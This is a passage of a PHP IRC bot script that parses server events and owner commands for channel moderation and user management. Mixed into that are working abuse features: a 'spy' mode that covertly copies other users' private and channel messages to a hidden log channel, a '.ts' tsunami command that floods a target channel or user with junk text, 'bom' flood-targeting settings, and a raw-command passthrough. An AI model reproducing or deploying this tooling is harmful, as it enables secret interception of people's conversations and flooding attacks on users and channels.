                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') has left '.$Params[2] .' ('.$dText.')' . CRLF);
                                }
                            }


                        }
                        /////////////////
                    }
                    elseif ( $Params[1] == 'JOIN' ){
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        if($fsrc[nkecil]==strtolower($greetmsg["$fsrc[nkecil]"]["nama"]) && $sysgreet=="on"){
                            $rndgreet=explode("[NG]",$greetmsg["$fsrc[nkecil]"]["msg"]);
                            $msgrndgreet=$rndgreet[rand(0,count($rndgreet) - 1)] ;
                            $addchan=str_replace(":","",$Params[2]);
                            $msgnya=str_replace("<|nick|>",$fsrc[nick],$msgrndgreet);
                            $msgnya=str_replace("<|chan|>",$addchan,$msgnya);
                            fputs($fp, 'PRIVMSG '. $addchan .' :'.$msgnya . CRLF);
                        }
                        $addchan=str_replace(":","",$Params[2]);
                        $user_chan_arr[strtolower($addchan)]["nick"] = $user_chan_arr[strtolower($addchan)]["nick"].' '.$fsrc[nick]. ' ';
                        $user_chan_arr[strtolower($addchan)]["nick"]=str_replace("  "," ",$user_chan_arr[strtolower($addchan)]["nick"]);
                       
                        ///////////////
                        if($sysspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if ( strtolower(str_replace(":","",$Params[2]))==strtolower($spychan["chan"])) {$sppp=false; }
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') has joined '.str_replace(":","",$Params[2]) . CRLF);
                            }
                            }
                        /////////////////
                    }
                    elseif ( $Params[1] == 'KICK' ){
                        if(strtolower($bot['nick'])==strtolower($Params[3])){
                            if($sysjoinonkick=='on'){
                                sleep(1);
                                fputs($fp, 'PRIVMSG Chanserv :UNBAN '.$Params[2].' '.$bot['nick'] . CRLF);
                                sleep(1);
                                fputs($fp, 'JOIN '. $Params[2] . CRLF);
                            }
                            unset($user_chan_arr[strtolower($Params[2])]);
                        }
                        $user_chan_arr[strtolower($Params[2])]["nick"]=str_replace(' '.$Params[3].' ',' ',$user_chan_arr[strtolower($Params[2])]["nick"]);
                        $user_chan_arr[strtolower($Params[2])]["nick"]=str_replace("  "," ",$user_chan_arr[strtolower($Params[2])]["nick"]);
                       
                        ///////////////
                        if($spyspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==strtolower($Params[3])){$sppp=false;}
                            $notspy=false;
                            if ($auth[strtolower($Params[3])]) {
                                if ($auth[strtolower($Params[3])]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if(strtolower($spynick[strtolower($Params[3])])==strtolower($Params[3]) && $sppp){
                                if($dText){
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$Params[3].' was kicked by '.$fsrc[asli] .' ('.$dText.')' . CRLF);
                                }
                                else{
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$Params[3].' was kicked by '.$fsrc[asli] . CRLF);
                                }
                            }
                        }
                        /////////////////
                    }
                    elseif ( $Params[1] == 'QUIT' ){
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        $auth["$fsrc[nkecil]"]["auth"] = 1;

                        foreach ($user_chan_arr as $cur_xchan) {
                            $x_chan=$cur_xchan["chan"];
                            $user_chan_arr[$x_chan]["nick"]=str_replace(' '.$fsrc[nick].' ',' ',$user_chan_arr[$x_chan]["nick"]);
                            $user_chan_arr[$x_chan]["nick"]=str_replace(' ',' ',$user_chan_arr[$x_chan]["nick"]);
                        }
                        ///////////////
                        if($sysspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                if($dText){
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 2* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') Quit ('.$dText.')' . CRLF);
                                }else{
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 2* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') Quit' . CRLF);
                                }
                            }
                        }
                        /////////////////
                        if($onboom=="on"){
                            if(strtolower($fsrc[nkecil])==strtolower($targetboom)){
                                $goboom=0;
                                $onboom="off";
                                $targetboom="";
                            }
                        }
                    }
                    elseif ( $Params[1] == 'NOTICE' ){
                        if($Params[3]==':VERSION'){
                            if($datversi[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
                                $vernya=str_replace(chr(1),"",$dText);
                                $vernya=substr($vernya,8);
                                fputs($fp, 'PRIVMSG '. $datversi[strtolower($fsrc[nick])]["chan"].' :15(04Info15) 7'.$fsrc[nick].' '.$vernya.  CRLF);
                            }
                            unset($datversi[strtolower($fsrc[nick])]["nick"]);
                            unset($datversi[strtolower($fsrc[nick])]["chan"]);
                        }
                        if($Params[3]==':PING'){
                            $dataping=str_replace(chr(1),"",$Params[4]);
                            $dataping=str_replace("\r","",$dataping);
                            $dataping=str_replace("\n","",$dataping);
                            $dataping=str_replace("","",$dataping);
                            if ($ping["$dataping"]["ping"]==$dataping){
                                $pong = time();
                                $pptime = $pong - $dataping;
                                $meni = "";
                                if ($pptime>=60) {
                                    $bag = $pptime / 60;
                                    $meni = floor($bag)."mins ";
                                    $sis = $pptime - ($meni*60);
                                    $pptime = $sis;
                                }
                                $deti = $pptime."secs";
                                $pptime = "$meni$deti";
                                fputs($fp,'PRIVMSG '.$ping["$dataping"]["chan"].' :15(pong04!15) Lag RepLy Bwt '.$fsrc[nick].' : '.$pptime . CRLF);
                            }
                            unset($ping["$dataping"]);
                        }
                       
                    }
                    elseif ($Params[1]== 'PRIVMSG' ) {
                        $TxtMsg=substr($DataLine,strpos($DataLine," :")+2);
                        $dCom=explode(" ", $TxtMsg);
                        $isuser=false;$islogin=false;

                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                       
                        if($sysspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if ( substr(strtolower($Params[3]),0,7)==":^login") {$sppp=false; }
                            if ( strtolower($Params[2])==strtolower($spychan["chan"])) {$sppp=false; }
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                if ( $Params[3]==":PING") {
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 4['.$fsrc[nick].' PING]' . CRLF);
                                }
                                elseif ($Params[3]==":VERSION") {
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 4['.$fsrc[nick].' VERSION]' . CRLF);
                                }
                                elseif ($Params[3]==":TIME") {
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 4['.$fsrc[nick].' TIME]' . CRLF);
                                }
                                elseif ($Params[3]==":ACTION") {
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 15(4'.$fsrc[nick].' '.$Params[2]. '15) 6'.$fsrc[nick].' ' . rtrim(substr($TxtMsg,8),"").'' . CRLF);
                                }
                                else{
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 15(4'.$fsrc[nick].' '.$Params[2]. '15) '  . str_replace("","",$TxtMsg) . CRLF);
                                }
                            }
                        }
                       
                        if ($auth["$fsrc[nkecil]"]) {
                                       if ($auth["$fsrc[nkecil]"]["pass"]) {
                                $isuser=true;
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                $islogin=true;
                                }
                                  }
                        }
                       
                        ############# INFO CLIENT ####################
                        if ( $Params[3]==":PING") {
                            fputs($fp,'NOTICE ' . $fsrc[nick] . ' :' . $TxtMsg . CRLF);
                        }
                        elseif ($Params[3]==":VERSION") {
                                fputs($fp,'NOTICE ' . $fsrc[nick] . ' :' . chr(1) . 'VERSION '. $ctcpversi . chr(1) . CRLF);
                           }
                           elseif ($Params[3]==":TIME") {
                                        $timetoday = date("D M j H:i:s Y");
                                fputs($fp,'NOTICE ' . $fsrc[nick] . ' :' . chr(1) . 'TIME '.$timetoday . chr(1) . CRLF);
                           }
                        ########### END INFO CLIENT #####################
                       

                        ############# Params Command Master ###########
                        elseif (substr($Params[3],0,2)==':^' && $isuser){
                            if ($auth["$fsrc[nkecil]"]["status"] && strtolower($dCom[0])=="^login" && $dCom[1]) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==1) {
                                if ($dCom[1]===$auth["$fsrc[nkecil]"]["pass"]) {
                                $auth["$fsrc[nkecil]"]["auth"] = 2;
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :You`re Authorized as '.$auth["$fsrc[nkecil]"]["status"].' of this bot! ' . CRLF);
                                }
                                } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :You`re Already Authorized!' . CRLF); }
                            }
                            elseif ($auth["$fsrc[nkecil]"]["status"] && strtolower($dCom[0])=='^logout' && $islogin) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                    $auth["$fsrc[nkecil]"]["auth"] = 1;
                                    fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :You`re LogOut! ' . CRLF);
                                }
                                }
                            }
                        }
                        elseif (substr($Params[3],0,2)==':.' && $islogin ){
                            $stauth=0;
                            $stboth=0;
                            $idaway=0;
                            $comcom=$dCom[0];
                            $dCom[0]=strtolower($dCom[0]);
                            if($isaway){fputs($fp,'AWAY'. CRLF);$isaway=false;}
                            if ($auth["$fsrc[nkecil]"]["status"]=="user"){$stauth=3;}
                            elseif ($auth["$fsrc[nkecil]"]["status"]=="master"){$stauth=2;}
                            elseif (strtolower($auth["$fsrc[nkecil]"]["status"])=="admin"){$stauth=1;}
                            if($stauth==2 || $stauth==1){$stboth=1;}
                            if (ereg('#',$Params[2])){$cmdin=1;}else {$cmdin=0;}
                           
                            if ($auth["$fsrc[nkecil]"]["status"] && $dCom[0]=='.chgpass' && $dCom[1] && $dCom[2] && $islogin) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                if ($dCom[1]===$auth["$fsrc[nkecil]"]["pass"]) {
                                    $auth["$fsrc[nkecil]"]["pass"] = $dCom[2];
                                    fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Your New Auth Pass set to '.$auth["$fsrc[nkecil]"]["pass"].' ' . CRLF);
                                } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Your Old Pass Wrong! Type: .Chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRLF); }
                                }
                            }
                            elseif ($auth["$fsrc[nkecil]"]["status"] && $dCom[0]=='.adduser' && $dCom[1] && $dCom[1]!=$bot['nick'] && $dCom[2] && $dCom[3] && $islogin) {
                                $dCom[1] = strtolower($dCom[1]);
                                $dCom[3] = strtolower($dCom[3]);
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                    if ($auth["$fsrc[nkecil]"]["status"]=="Admin") {
                                        if ($dCom[3]=="master" || $dCom[3]=="user") {
                                            $auth["$dCom[1]"]["name"] = $dCom[1];
                                            $auth["$dCom[1]"]["pass"] = $dCom[2];
                                            $auth["$dCom[1]"]["status"] = $dCom[3];
                                            $auth["$dCom[1]"]["auth"] = 1;
                                            fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :AddUser :'.$dCom[1].' As My '.$dCom[3] . CRLF);
                                            fputs($fp,'PRIVMSG ' . $dCom[1] . ' :You`re Now Known As My '.$dCom[3].' Added By ' . $fsrc[nick] .' With Pass ' . $dCom[2] . ' Now Type: ^Login <your pass> ' . CRLF);
                                        } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Wrong Command! Type: .Adduser <nick> <pass> <master/user> ' . CRLF); }
                                    }
                                    elseif ($auth["$fsrc[nkecil]"]["status"]=="master") {
                                        if (!$auth["$dCom[1]"]["name"]) {
                                            if ($dCom[3]=="user") {
                                                $auth["$dCom[1]"]["name"] = $dCom[1];
                                                $auth["$dCom[1]"]["pass"] = $dCom[2];
                                                $auth["$dCom[1]"]["status"] = $dCom[3];
                                                $auth["$dCom[1]"]["auth"] = 1;
                                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :AddUser :'.$dCom[1].' As My '.$dCom[3] . CRLF);
                                                fputs($fp,'PRIVMSG ' . $dCom[1] . ' :You`re Now Known As My 4'.$dCom[3].' Added By 2'.$fsrc[nick].' With Pass 4' . $dCom[2] . ' Now Type: 2^Login <your pass>' . CRLF);
                                            } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Wrong Command! Type: .Adduser <nick> <pass> user ' . CRLF); }
                                        } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :User Already Exist! Aborting AddUser! ' . CRLF); }
                                    } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Unknown Status! Your Status is '.$auth["$fsrc[nkecil]"]["status"] . CRLF); }
                                }
                            }
                            elseif ($auth["$fsrc[nkecil]"]["status"] && $dCom[0]=='.deluser' && $dCom[1] && $islogin) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                    if ($auth["$fsrc[nkecil]"]["status"]=="Admin") {
                                        if ($auth["$dCom[1]"]["status"]=="master" || $auth["$dCom[1]"]["status"]=="user") {
                                            unset($auth["$dCom[1]"]);
                                            fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :DelUser :'.$dCom[1].' From My UserList ' . CRLF);
                                            fputs($fp,'PRIVMSG ' . $dCom[1] . ' :Your Access As My Master Has Been Deleted By '.$fsrc[nick] . CRLF);
                                        } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Wrong Command! Type: .Deluser <nick> ' . CRLF); }
                                    } elseif ($auth["$fsrc[nkecil]"]["status"]=="master") {
                                        if ($auth["$dCom[1]"]["status"]=="user") {
                                            unset($auth["$dCom[1]"]);
                                            fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :DelUser :'.$dCom[1].' From My UserList ' . CRLF);
                                            fputs($fp,'PRIVMSG ' . $dCom[1] . ' :Your Access As My User Has Been Deleted By '.$fsrc[nick] . CRLF);
                                        } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Wrong Command! Type: .Deluser <nick> ' . CRLF); }
                                    }
                                }
                            }
                            elseif ($dCom[0]=='.server' && $dCom[1] && $stboth==1){
                                $bot['server']=$dCom[1];
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Changing SeRVeR To '. $dCom[1] . CRLF);
                            }
                            elseif ($dCom[0]=='.servpass' && $dCom[1] && $stboth==1){
                                $bot['pserver']=$dCom[1];
                                $bot['userver']=1;
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Changing PassWOrD SeRVeR To '. $dCom[1] . CRLF);
                            }
                            elseif ($dCom[0]=='.realname' && $dCom[1] && $stboth==1){
                                $Rmsg=substr($TxtMsg,10);
                                $Rmsg=ltrim($Rmsg);
                                $bot['realname']=$Rmsg;
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Changing ReaLNaMe To '. $Rmsg . CRLF);
                            }
                            elseif ($dCom[0]=='.ident' && $dCom[1] && $stboth==1){
                                $bot['ident']=$dCom[1];
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Changing IdentD To '. $dCom[1] . CRLF);
                            }
                            elseif ($dCom[0]=='.jump' && $stboth==1){
                                $keluar = 0;
                                fputs($fp, 'QUIT :'.$logobot[rand(0,count($logobot) - 1)].' ReSTaRt bY '.$fsrc[nick]. CRLF);
                            }
                            elseif ($dCom[0]=='.up' && $cmdin==1) {
                                fputs($fp, 'PRIVMSG Chanserv :Op '.$Params[2].' '.$bot['nick'] . CRLF);
                            }
                            elseif ($dCom[0]=='.down' && $cmdin==1) {
                                fputs($fp, 'MODE '.$Params[2].' +v-ho '.$bot['nick'].' '.$bot['nick'].' '.$bot['nick'].CRLF);
                                fputs($fp, 'MODE '.$Params[2].' +vv-o '.$bot['nick'].' '.$bot['nick'].' '.$bot['nick'].CRLF);
                            }
                            elseif ($dCom[0]=='.o' || $dCom[0]=='.h' || $dCom[0]=='.v' || $dCom[0]=='.do' || $dCom[0]=='.dh' || $dCom[0]=='.dv'){
                                if ($dCom[0]=='.o' || $dCom[0]=='.h' || $dCom[0]=='.v'){
                                    $moden=strtolower(substr($dCom[0],1));
                                    $moden='+'.$moden . $moden . $moden;
                                }
                                elseif ($dCom[0]=='.do' || $dCom[0]=='.dh' || $dCom[0]=='.dv'){
                                    $moden=strtolower(substr($dCom[0],2));
                                    $moden='-'.$moden . $moden . $moden;
                                }
                                if ($cmdin==1){$ttarget=$Params[2];$tforce=$dCom[1];$tmore=$dCom[2].' '.$dCom[3];}
                                elseif($cmdin==0){$ttarget=$dCom[1];$tforce=$dCom[2];$tmore=$dCom[3].' '.$dCom[4];}
                                if ($tforce) { $vonick = $tforce; }else { $vonick = $fsrc[nick]; }
                                fputs($fp, 'MODE '.$ttarget.' '.$moden . ' '.$vonick.' '.$tmore. CRLF);
                            }
                            elseif ($dCom[0]=='.j' && $dCom[1]) {
                                $jchan=$dCom[1];
                                if (!ereg("#",$dCom[1])) { $jchan="#".$dCom[1]; }
                                fputs($fp, 'JOIN '.$jchan . CRLF);
                                if($dCom[2]){fputs($fp, 'JOIN '.$jchan .' '.$dCom[2] . CRLF);}
                            }
                            elseif ($dCom[0]=='.p') {
                                $pchan=$dCom[1];
                                if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; }
                                if($dCom[1]){
                                    $pmsg = str_replace(".p ".$dCom[1],"",$TxtMsg);
                                    fputs($fp, 'PART '.$pchan . ' :'. ltrim($pmsg) . CRLF);
                                }
                                else{
                                    fputs($fp, 'PART '.$pchan . CRLF);
                                }
                            }
                            elseif ($dCom[0]=='.cy') {
                                $cychan=$dCom[1];
                                if (!ereg("#",$dCom[1])) { $cychan="#".$dCom[1]; }
                                if($dCom[1]){
                                    $pmsg = str_replace($comcom." ".$dCom[1],"",$TxtMsg);
                                    fputs($fp, 'PART '.$cychan . ' :'. ltrim($pmsg) . CRLF);
                                }
                                else{
                                    fputs($fp, 'PART '.$cychan . CRLF);
                                }
                                sleep(1);
                                fputs($fp, 'JOIN '.$cychan . CRLF);
                            }
                            elseif ($dCom[0]=='.k' || $dCom[0]=='.kb' || $dCom[0]=='.kc') {
                                if($dCom[1]){
                                    if ($cmdin==1){$tdata=$dCom[1];$ttarget=$Params[2];$tkode=$comcom.' '.$dCom[1];}
                                    elseif($cmdin==0){$tdata=$dCom[2];$ttarget=$dCom[1];$tkode=$comcom.' '.$dCom[1].' '.$dCom[2];}
                                    $msg = str_replace("$tkode","",$TxtMsg);
                                    $msg=ltrim($msg);
                                    if($dCom[0]=='.k'){
                                        fputs($fp, 'KICK '.$ttarget.' '.$tdata.' :'.$msg . CRLF);
                                    }
                                    elseif($dCom[0]=='.kb'){
                                        fputs($fp, 'MODE '.$ttarget.' +b '.$tdata . CRLF);
                                        fputs($fp, 'KICK '.$ttarget.' '.$tdata.' :'.$msg . CRLF);
                                    }
                                    elseif($dCom[0]=='.kc'){
                                        fputs($fp, 'PRIVMSG CHANSERV :KICK '.$ttarget.' '.$tdata.' '.$msg.''  . CRLF);
                                    }
                                }

                            }
                            elseif ($dCom[0]=='.b' || $dCom[0]=='.ub') {
                                if ($cmdin==1){$ttarget=$Params[2];$tkode=$comcom;}
                                    elseif($cmdin==0){$ttarget=$dCom[1];$tkode=$comcom.' '.$dCom[1];}
                                $tmode = str_replace("$tkode","",$TxtMsg);
                                $tmode = ltrim($tmode);
                                if($dCom[0]=='.b'){
                                    fputs($fp, 'MODE '.$ttarget.' +b '.$tmode . CRLF);
                                }
                                else{
                                    fputs($fp, 'PRIVMSG Chanserv unban '.$ttarget.' '.$tmode . CRLF);
                                    fputs($fp, 'MODE '.$ttarget.' -b '.$tmode . CRLF);
                                }

                            }
                            elseif ($dCom[0]=='.a' || $dCom[0]=='.s') {
                                if($dCom[1]){
                                    if ($cmdin==1){$ttarget=$Params[2];$tkode=$comcom;}
                                    elseif($cmdin==0){$ttarget=$dCom[1];$tkode=$comcom.' '.$dCom[1];}
                                    $msg = str_replace("$tkode ","",$TxtMsg);
                                    if($dCom[0]=='.a'){
                                        fputs($fp,'PRIVMSG '.$ttarget.' :ACTION '.$msg.''. CRLF);
                                    }else{
                                        fputs($fp,'PRIVMSG '.$ttarget.' :'.$msg. CRLF);
                                    }
                                }
                            }
                            if ($dCom[0]=='.ts' && $dCom[1] && $stboth==1){
                                    $tsmsg = strstr($TxtMsg,$dCom[0]);
                                    $tsmsg = str_replace($comcom." $dCom[1]","",$tsmsg);
                                    if (ereg("#", $dCom[1])) {
                                         fputs($fp, 'JOIN '.$dCom[1] . CRLF);
                                         sleep(1);
                                    }
                                    fputs($fp, 'PRIVMSG '.$dCom[1].' :'.$tsmsg.'[]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi' . CRLF);
                                    fputs($fp, 'NOTICE '.$dCom[1].' :'.$tsmsg.'' . CRLF);
                                    fputs($fp, 'PRIVMSG '.$dCom[1].' :TSUNAMI '.$tsmsg.'' . CRLF);
                                    fputs($fp, 'PRIVMSG '.$dCom[1].' :'.$tsmsg.'[]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi' . CRLF);
                                    fputs($fp, 'NOTICE '.$dCom[1].' :'.$tsmsg.'' . CRLF);
                                    fputs($fp, 'PRIVMSG '.$dCom[1].' :FLOOD '.$tsmsg.'' . CRLF);
                                    if (ereg("#", $dCom[1])) {
                                         fputs($fp, 'PART '.$dCom[1].' :'.$tsmsg . CRLF);
                                    }

                            }
                            elseif ($dCom[0]=='.n'){
                                        fputs($fp, 'NICK '.$dCom[1] . CRLF);
                            }
                            elseif ($dCom[0]=='.away'){
                                if($dCom[1]){
                                    $msga=substr($TxtMsg,6);
                                    fputs($fp, 'AWAY '. $msga . CRLF);
                                    unset($msga);
                                }
                                else{
                                    fputs($fp, 'AWAY' . CRLF);
                                    $isaway=false;
                                }
                            }
                            elseif ($dCom[0]=='.raw' && $dCom[1] && $stboth==1){
                                $msg = str_replace($comcom." ","",$TxtMsg);
                                $msg=ltrim($msg);
                                fputs($fp, 'PRIVMSG '.$Params[2] . ' :4Executed Raw Command. Use RAW With Caution. It Can Destroy The BOT.' . CRLF);
                                fputs($fp,$msg.CRLF);
                            }
                            elseif ($dCom[0]=='.q' && $stauth==1 ){
                                $keluar=1;
                                if($dCom[1]){
                                    $keluar=1;
                                    $Qmsg=substr($TxtMsg,3);
                                    fputs($fp, 'QUIT :'.$Qmsg. CRLF);
                                }
                                else{
                                    $keluar=1;
                                    fputs($fp, 'QUIT'. CRLF);
                                    $keluar=1;
                                }
                            }
                            elseif ($dCom[0]=='.autojoin' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysjoinonkick = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Join is now '.$sysjoinonkick . CRLF); }
                                elseif ($dCom[1]=="off") { $sysjoinonkick = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Join is now '.$sysjoinonkick. CRLF); }
                            }
                            elseif ($dCom[0]=='.autoaway' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $autoaway = true; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Away is now on' . CRLF); }
                                elseif ($dCom[1]=="off") { $autoaway = false; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Away is now off'. CRLF); }
                            }
                            elseif ($dCom[0]=='.astro' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysastro = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Astro Command is now '.$sysastro . CRLF); }
                                elseif ($dCom[1]=="off") { $sysastro= "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Astro Command is now '.$sysastro . CRLF); }
                            }
                                                        elseif ($dCom[0]=='.sms' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $syssms = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Sms Command is now '.$syssms . CRLF); }
                                elseif ($dCom[1]=="off") { $syssms= "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Sms Command is now '.$syssms . CRLF); }
                            }
                            elseif ($dCom[0]=='.spoof' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysspoof = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spoof Command is now '.$sysspoof . CRLF); }
                                elseif ($dCom[1]=="off") { $sysspoof= "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spoof Command is now '.$sysspoof . CRLF); }
                            }
                            elseif ($dCom[0]=='.ping' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysping = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Ping Command is now '.$sysping . CRLF); }
                                elseif ($dCom[1]=="off") { $sysping = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Ping Command is now '.$sysping . CRLF); }
                            }
                            elseif ($dCom[0]=='.versi' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysversi = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Version Command is now '.$sysversi . CRLF); }
                                elseif ($dCom[1]=="off") { $sysversi = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Version Command is now '.$sysversi . CRLF); }
                            }
                            elseif ($dCom[0]=='.bom' && $dCom[1] && $stboth==1) {
                                $dCom[1] = strtolower($dCom[1]);
                                $goboom=0;$targetboom="";$onboom="off";
                                if ($dCom[1]=="on") { $sysboom = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Boom Command is now '.$sysboom . CRLF); }
                                elseif ($dCom[1]=="off") { $sysboom= "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Boom Command is now '.$sysboom . CRLF); }
                            }
                            elseif ($dCom[0]=='.chanbom' && $dCom[1] && $stboth==1) {
                                $chanboom=strtolower($dCom[1]);
                            }
                            elseif ($dCom[0]=='.timebom' && $dCom[1] && $stboth==1) {
                                if($dCom[1]<=30){$timeboom=$dCom[1];}
                            }
                            elseif ($dCom[0]=='.spy' && $dCom[1] && $stboth==1) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysspy = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spy Command is now '.$sysspy . CRLF); }
                                elseif ($dCom[1]=="off") { $sysspy = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spy Command is now '.$sysspy . CRLF); }
                            }
                            elseif($dCom[0]=='.chanlog' && $dCom[1] && $stboth==1){
                                $spychan["chan"]=$dCom[1];
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spy Log cHanGe To '.$dCom[1] . CRLF);
                            }
                           
                            elseif($dCom[0]=='.addlog' && $dCom[1] && $stboth==1){
                                $dlogc=strtolower($dCom[1]);
                                $spynick["$dlogc"]=$dCom[1];
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Addlog :'.$dCom[1].' ' . CRLF);
                            }
                            elseif($dCom[0]=='.dellog' && $dCom[1] && $stboth==1){
                                $elogl=strtolower($dCom[1]);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Dellog :'.$dCom[1].' ' . CRLF);
                                unset($spynick["$elogl"]);
                            }
